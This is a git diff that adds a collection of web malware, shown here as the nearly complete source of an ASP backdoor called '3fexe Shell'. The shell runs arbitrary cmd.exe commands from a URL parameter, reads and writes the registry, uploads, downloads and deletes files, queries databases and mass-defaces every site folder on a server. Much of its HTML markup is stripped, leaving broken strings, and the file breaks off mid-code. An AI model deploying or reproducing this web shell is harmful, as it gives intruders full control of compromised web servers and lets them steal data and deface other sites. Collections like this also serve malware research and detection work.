diff --git a/web-malware-collection-13-06-2012.tar.gz b/web-malware-collection-13-06-2012.tar.gz new file mode 100644 index 0000000..63dbc1d Binary files /dev/null and b/web-malware-collection-13-06-2012.tar.gz differ diff --git a/web-malware-collection-master/Backdoors/ASP/3fexe.txt b/web-malware-collection-master/Backdoors/ASP/3fexe.txt new file mode 100755 index 0000000..c29cfdb --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/3fexe.txt @@ -0,0 +1,1102 @@ +<%@ LANGUAGE = VBScript.Encode%> +<%//**Start Encode +On Error Resume Next + +Dim myFSO,showdisks +Set myFSO = CreateObject ("Scripting.FileSystemObject") +showdisks=FALSE + +Server.ScriptTimeOut = 7200 +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + For nIndex = 1 to LenB(FileData) + oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) + Next + oFile.Close + End Sub + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class +startcode = ".:: 3fexe Shell ::." +endocde = "" +onlinehelp = ".:: ONLINE HELP ::.
" +Function HexConv(hexVar) + Dim hxx, hxx_var, multiply + IF hexVar <> "" THEN + hexVar = UCASE(hexVar) + hexVar = StrReverse(hexVar) + DIM hx() + REDIM hx(LEN(hexVar)) + hxx = 0 + hxx_var = 0 + FOR hxx = 1 TO LEN(hexVar) + IF multiply = "" THEN multiply = 1 + hx(hxx) = mid(hexVar,hxx,1) + hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var + multiply = (multiply * 16) + NEXT + hexVar = hxx_var + HexConv = hexVar + END IF +End Function +cprthtml = ".:: 3FEShell 1.0 ::." +Function get_hxno(ghx) + If ghx = "A" Then + ghx = 10 + ElseIf ghx = "B" Then + ghx = 11 + ElseIf ghx = "C" Then + ghx = 12 + ElseIf ghx = "D" Then + ghx = 13 + ElseIf ghx = "E" Then + ghx = 14 + ElseIf ghx = "F" Then + ghx = 15 + End If + get_hxno = ghx +End Function + +keydec=".:: Smart.Shell 1.0 © BY P0Uy@_$3r\/3R - ::." +Function showobj(objpath) + showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) +End Function +Function showobjpath(objpath) + showobjpath = Left(objpath,InstrRev(objpath,"\")) +End Function +Function checking(a,b) +' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then +' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" +' Response.Redirect(pagina) +' End If +End Function +Sub hdr() + Response.Write startcode + Response.Write keydec + Response.Write "
" +End Sub + +sub araBul(path_,ara_) + on error resume next + If Len(path_) > 0 Then + cur = path_&"\" + If cur = "\\" Then cur = "" + parent = "" + If InStrRev(cur,"\") > 0 Then + parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) + End If + Else + cur = "" + End If + + Set f = myFSO.GetFolder(cur) + + Set fc = f.Files + For Each f1 In fc + if lcase(InStr(1,f1.name,lcase(ara_)))>0 then + downStr = "?/a>" + if lcase(ara_)="mdb" then + Response.Write downStr&"?/a> * "& f1.path &" ["&f1.size&"]"&"
" + else + Response.Write downStr&"?/a>! - "& f1.path &" ["&f1.size&"]
" + end if + end if + Next + + Set fs = f.SubFolders + For Each f1 In fs + araBul f1.path,ara_ + Next + Set f = Nothing + Set fc = Nothing + Set fs = Nothing +end sub + + +Sub showcontent() + showdisks=TRUE + Response.Write ".:: DRIVES ::.
.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "

" + If Trim(Request.QueryString("raiz")) = "root" Then + Set fs=Server.Createobject("Scripting.FileSystemObject") + Set drivecollection=fs.drives + Response.Write "" + For Each drive IN drivecollection + str=drive.driveletter & ":" + Response.Write "" & UCase(str) & "
" + Select Case drive.DriveType + Case 0 + tipodrive = "Unknown" + nomedrive = drive.VolumeName + Case 1 + tipodrive = "Removable" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 2 + tipodrive = "Fixed" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 3 + tipodrive = "Network" + If drive.isready Then + nomedrive = drive.ShareName + Else + nomedrive = "" + End If + Case 4 + tipodrive = "CD-Rom" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 5 + tipodrive = "RAM Disk" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + End Select + response.write "Type: " & tipodrive & "
" + response.write "Name: " & nomedrive & "
" + response.write "File System: " + If drive.isready Then + set sp=fs.getdrive(str) + response.write sp.filesystem & "
" + Else + response.write "-
" + End If + Response.Write "Disk Space: " + If drive.isready Then + freespace = (drive.AvailableSpace / 1048576) + set sp=fs.getdrive(str) + response.write(Round(freespace,1) & " MB
") + Else + response.write("-
") + End If + Response.Write "Total Space: " + If drive.isready Then + totalspace = (drive.TotalSize / 1048576) + set sp=fs.getdrive(str) + response.write(Round(totalspace,1) & " MB
") + Else + response.write("-
") + End If + Response.Write "
" + Next + Response.Write "
" + Set fs = Nothing + Set drivecollection = Nothing + set sp=Nothing + Else + If Trim(Request.QueryString("raiz")) = "" Then + caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) + pos = Instr(caminho,"\") + pos2 = 1 + While pos2 <> 0 + If Instr(pos + 1,caminho,"\") <> 0 Then + pos = Instr(pos + 1,caminho,"\") + Else + pos2 = 0 + End If + Wend + raiz = Left(caminho,pos) + Else + raiz = trim(Request.QueryString("raiz")) & "\" + End If + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(raiz) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + Response.Write "MASS TEST IN " & UCase(raiz) & "

" + Response.Write "MASS DEFACE IN " & UCase(raiz) & "

" + Response.Write "UPLOAD FILE TO " & UCase(raiz) & "

" + + Response.Write "" + Response.Write "PROMPT" + Response.Write " - SYS INFO" + Response.Write " - REGEDIT" + Response.Write " - SEARCH" + Response.Write " - EXECUTE SQL" + Response.Write " - ABOUT" + Response.Write "

" + + + Response.Write "Root Folder: " & raiz & "

" + If CInt(Len(raiz) - 1) <> 2 Then + barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 + backlevel = Left(raiz,barrapos) + Response.Write "<DIR> . .
" + Else + Response.Write "<DIR> . . 
" + End If + Response.Write "" + for each folderItem in ColFolders + Response.Write "" + Response.Write "" + Response.Write "" + next + Response.Write "
<DIR> " & showobj(folderItem.path) & "  << PUT  << Copy/Move  << Delete

" + marcatabela = true + for each FilesItem0 in ColFiles0 + If marcatabela = true then + corfundotabela = " bgcolor=""#EEEEEE""" + Else + corfundotabela = "" + End If + Response.Write ":: " & showobj(FilesItem0.path) & "" + marcatabela = NOT marcatabela + next + Response.Write "
  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     o.GET.o    o.REN.o    o.DEL.o    o.VIEW.o    o.EDIT.o    o.?ndir.o    o.FileCopy.o
" + End If +End Sub +Select Case Trim(Request.QueryString("action")) + Case "get" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


File: " & caminho & "
Copied to: " & destino + End If + Case "put" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("arquivo")) = "" Then + caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + varpath = Trim(Request.QueryString("path")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + + Response.Write "Select File:
" + for each FilesItem0 in ColFiles0 + Response.Write "" + next + Response.Write "
:: " & showobj(FilesItem0.path) & "  " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes     :: SELECT ::
" + Else + destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" + arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(arquivo) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


File: " & arquivo & "
Copied to: " & destino + End If + End If + Case "del" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + MyFile.Delete + If Err.Number = 0 Then + Response.Write "" + Response.Write "


Folder " & caminho & " Deleted.
" + End If + + Case "fdel" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + ObjFSO.DeleteFolder caminho + If Err.Number = 0 Then + Response.Write "" + Response.Write "


File " & caminho & " Deleted.
" + End If + + Case "ren" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("status")) <> "2" Then + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + arquivo = showobj(caminho) + Response.Write "
" & arquivo & "
" & _ + "
" & _ + "" & _ + "" & _ + "" & _ + "New Name: " & _ + "  " & _ + "
" + Else + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & caminho & "
renomeado para: " & destino + Response.Write "" + End If + End If + Case "error" + Response.Write "
C?DIGO CORROMPIDO
CORRUPT CODE
" + Case "cmd" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + szCMD = Request.QueryString(".CMD") + If (szCMD <> "") Then + szTempFile = "c:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + End If + Response.Write "


" + If (IsObject(oFile)) Then + On Error Resume Next + Response.Write "" + Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"
")," "," ") + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If + Case "info" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshNetwork = Server.CreateObject("WScript.Network") + Set WshShell = Server.CreateObject("WScript.Shell") + Set WshEnv = WshShell.Environment("SYSTEM") + Response.Write "
" + Response.Write "User Properties:
" + Response.Write "UserName: " & WshNetwork.UserName & "
" + Response.Write "Computer Name: " & WshNetwork.ComputerName & "
" + Response.Write "User Domain: " & WshNetwork.UserDomain & "
" + Set Drives = WshNetwork.EnumNetworkDrives + For i = 0 to Drives.Count - 1 + Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
" + Next + Response.Write "
Cpu Information:
" + Response.Write "Processor Architecture: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
" + Response.Write "Number Of Processors: " & WshEnv("NUMBER_OF_PROCESSORS") & "
" + Response.Write "Processor Identifier: " & WshEnv("PROCESSOR_IDENTIFIER") & "
" + Response.Write "Processor Level: " & WshEnv("PROCESSOR_LEVEL") & "
" + Response.Write "Processor Revision: " & WshEnv("PROCESSOR_REVISION") & "
" + Response.Write "
Operating System Information:
" + Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "
" + Response.Write "Sistem OS: " & WshEnv("OS") & "
" + Response.Write "Server Software: " & request.servervariables("SERVER_SOFTWARE") & "
" + Response.Write "Cmd Path: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
" + Response.Write "Public Paths: " & WshEnv("PATH") & "
" + Response.Write "Executables: " & WshEnv("PATHEXT") & "
" + Response.Write "Prompt: " & WshEnv("PROMPT") & "
" + Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
" + Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
" + Response.Write "System32 Path: " & WshShell.CurrentDirectory & "
" + Set Drives = Nothing + Set WshNetwork = Nothing + Set WshShell = Nothing + Set WshEnv = Nothing + Case "reg" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshShell = Server.CreateObject("WScript.Shell") + Response.Write "
Registry Editor:

" + Select Case Trim(Request.QueryString("regaction")) + Case "w" + If Trim(Request.QueryString("process")) = "yes" Then + Select Case Trim(Request.QueryString("type")) + Case "1" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") + Case "2" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") + Case "3" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") + Case "4" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") + Case "5" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") + End Select + Response.Write "

Registry " + Response.Write Trim(Request.QueryString("key")) & " Changed.
" + Response.Write "

Main Menu
" + Else + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
ROOT KEY NAMEABREVIAC?O
HKEY_CURRENT_USER HKCU
HKEY_LOCAL_MACHINE HKLM
HKEY_CLASSES_ROOT HKCR
HKEY_USERS HKEY_USERS
HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG

" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
Type Description Figure
REG_SZ String String
REG_DWORD Number DWORD
REG_BINARY Binary VBArray DWORD
REG_EXPAND_SZ String Expand (ex. ""%windir%\\calc.exe"") String
REG_MULTI_SZ Array Of Strings VBArray Of Strings
" + Response.Write "

" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
KEY:
( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
VALUE:
TYPE:
" + Response.Write "" + Response.Write "" + Response.Write "
" + Response.Write "

Main Menu
" + End If + Case "r" + If Trim(Request.QueryString("process")) = "yes" Then + Response.Write "" & Trim(Request.QueryString("key")) & "
" + Response.Write "Value: " & WshShell.RegRead (Trim(Request.QueryString("key"))) + Else + Response.Write "
" + Response.Write "KEY:
( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

Main Menu
" + Case "d" + If Trim(Request.QueryString("process")) = "yes" Then + teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) + Response.Write "Chave " & Trim(Request.QueryString("key")) & " Deleted." + Else + Response.Write "
" + Response.Write "KEY: ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

Main Menu
" + Case Else + Response.Write "WRITE VALUE

" + Response.Write "READ VALUE

" + Response.Write "DELETE KEY
" + End Select + Set WshShell = Nothing + Case "txtview" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp & "" + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
")," "," ") + Set a = Nothing + Set fso = Nothing + Case "txtedit" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Request.Form.Count = 0 Then + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write "
" + Response.Write "
" + Response.Write "" + Response.Write "     
" + Set a = Nothing + Set fso = Nothing + Else + Select Case Trim(Request.Form("savemethod")) + Case "Save" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" + Case "Save as" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set objstream = fso.CreateTextFile(caminho,true,false) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "
" + Response.Write "
" + Response.Write "" + Response.Write "
" + Case Else + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & destino & " salvo!" + Response.Write "" + End If + End Select + End If + Case "download" + Response.Buffer = True + Response.Clear + strFileName = Replace(Trim(Request.QueryString("file")),"|","\") + strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) + strFileType = Request.QueryString("type") + if strFileType = "" then strFileType = "application/download" + Set fso = Server.CreateObject("Scripting.FileSystemObject") + Set f = fso.GetFile(strFilename) + intFilelength = f.size + Set f = Nothing + Set fso = Nothing + Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile + Response.AddHeader "Content-Length", intFilelength + Response.Charset = "UTF-8" + Response.ContentType = strFileType + Set Stream = Server.CreateObject("ADODB.Stream") + Stream.Open + Stream.type = 1 + Stream.LoadFromFile strFileName + Response.BinaryWrite Stream.Read + Response.Flush + Stream.Close + Set Stream = Nothing + Case "upload" + If Request.QueryString("processupload") <> "yes" Then + Response.Write "
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
Select a file to upload:
" + Else + Set Uploader = New FileUploader + Uploader.Upload() + If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." + Else + For Each File In Uploader.Files.Items + File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") + Response.Write "File Uploaded: " & File.FileName & "
" + Response.Write "Size: " & File.FileSize & " bytes
" + Response.Write "Type: " & File.ContentType & "

" + Response.Write "" + Next + End If + End If + Case "mass" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminhodomass) + Set ColFolders = MonRep.SubFolders + for each folderItem in ColFolders + destino1 = folderItem.path & "\index.htm" + destino2 = folderItem.path & "\index.html" + destino3 = folderItem.path & "\index.asp" + destino4 = folderItem.path & "\index.cfm" + destino5 = folderItem.path & "\index.php" + destino6 = folderItem.path & "\default.htm" + destino7 = folderItem.path & "\default.html" + destino8 = folderItem.path & "\default.asp" + destino9 = folderItem.path & "\default.cfm" + destino10 = folderItem.path & "\default.php" + MeuArquivo.Copy(destino1) + MeuArquivo.Copy(destino2) + MeuArquivo.Copy(destino3) + MeuArquivo.Copy(destino4) + MeuArquivo.Copy(destino5) + MeuArquivo.Copy(destino6) + MeuArquivo.Copy(destino7) + MeuArquivo.Copy(destino8) + MeuArquivo.Copy(destino9) + MeuArquivo.Copy(destino10) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "
<DIR> " & folderItem.path & "  DONE!
  " & UCase(Err.Description) & "
" + End If + Err.Number = 0 + Response.Flush + If metodo = "brute" Then + Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) + End If + next + End Sub + Sub brutemass(caminho,massaction) + If massaction = "test" Then + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + for each folderItem in ColFolders + Set TotalFolders = ObjFSO.GetFolder(folderItem.path) + Set EachFolder = TotalFolders.SubFolders + Response.Write "" + maindestino = folderItem.path & "\" + MeuArquivo.Copy(maindestino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + If EachFolder.count > 0 Then + masscontador = 0 + for each subpasta in EachFolder + masscontador = masscontador + 1 + destino = subpasta.path & "\" + If masscontador = 1 Then + destinofinal = destino + pathfinal = subpasta.path + Err.Number = 0 + MeuArquivo.Copy(destinofinal) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + Else + MeuArquivo.Copy(destino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + End If + next + masscontador = 0 + End If + Response.Write "
<DIR> " & maindestino & "  Acesso Permitido
  " & UCase(Err.Description) & "
<DIR> " & showobj(pathfinal) & "  Acesso Permitido
  " & UCase(Err.Description) & "
<DIR> " & showobj(subpasta.path) & "  Acesso Permitido
  " & UCase(Err.Description) & "

" + Call brutemass(folderItem.path & "\","test") + next + Set MonRep = Nothing + Set ColFolders = Nothing + Set ColFiles0 = Nothing + Else + If Request.Form.Count = 0 Then + Response.Write "

Brute: Test and Deface root and sub directories.

" + Response.Write "Single: Test and deface only root directories.

" + Response.Write "" + Response.Write "" + Response.Write "
Deface Code:
" + Response.Write "
" + Response.Write "Brute   " + Response.Write "Single
" + Response.Write "
" + Response.Write "" + Else + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivomassdfc = patharquivotxt & "teste.txt" + Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) + vetordelinhas = Split(Request.Form("content"),VbCrLf) + For i = 0 To UBound(vetordelinhas) + Arquivotxt.WriteLine(vetordelinhas(i)) + Next + Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) + + If Request.Form("massopt") = "single" Then + Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) + ElseIf Request.Form("massopt") = "brute" Then + Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) + End If + End If + End If + End Sub + If Trim(Request.QueryString("massact")) = "test" Then + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivo = patharquivotxt & "_vti_cnf.log" + Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) + Set MeuArquivo = ObjFSO.GetFile(arquivo) + Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") + ElseIf Trim(Request.QueryString("massact")) = "dfc" Then + Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") + End If + Case "fcopy" + If Trim(Request.Form("submit1")) = "Copy" Then + mptpath=Trim(Request.Form("path")) + mptdest=Trim(Request.Form("cf")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + isl = "" + if Trim(Request.Form("islem"))="kopyala" then + objFSO.CopyFolder mptpath,mptdest + isl="Copied.." + elseif Trim(Request.Form("islem"))="tasi" then + objFSO.MoveFolder mptpath,mptdest + isl="moved.." + end if + + response.Write "Command: "&isl + response.Write "
File From: " & mptpath & "
Copy to: " & mptdest + response.Write "
" + Else + Response.Write "
" + Response.Write "
Copy Path : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
" + response.Write "Copy" + response.Write "Move" + response.Write "
" + response.Write "
" + End IF + + Case "filecopy" + If Trim(Request.Form("submit1")) = "Copy" Then + mptpath=Trim(Request.Form("path")) + mptdest=Trim(Request.Form("cf")) + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + isl = "" + if Trim(Request.Form("islem"))="kopyala" then + objFSO.CopyFile mptpath,mptdest + isl="Copy.." + elseif Trim(Request.Form("islem"))="tasi" then + objFSO.MoveFile mptpath,mptdest + isl="move.." + end if + + response.Write "Command: "&isl + response.Write "
File From: " & mptpath & "
Copy to: " & mptdest + response.Write "
" + Else + Response.Write "
" + Response.Write "
Copy Path : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
" + response.Write "Copy" + response.Write "Move" + response.Write "
" + response.Write "
" + End IF + + + Case "search" + If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then + showdisks=FALSE + status5=Trim(Request.Form("status")) + if status5="" then status5=Trim(Request.QueryString("status")) + SELECT CASE status5 + + CASE "5" + Response.Write "
"& Trim(Request.QueryString("path")) &"

" + Response.Write "" + Next + myTitle = "?Query results :     (" & rs.RecordCount & " row(s) affected)
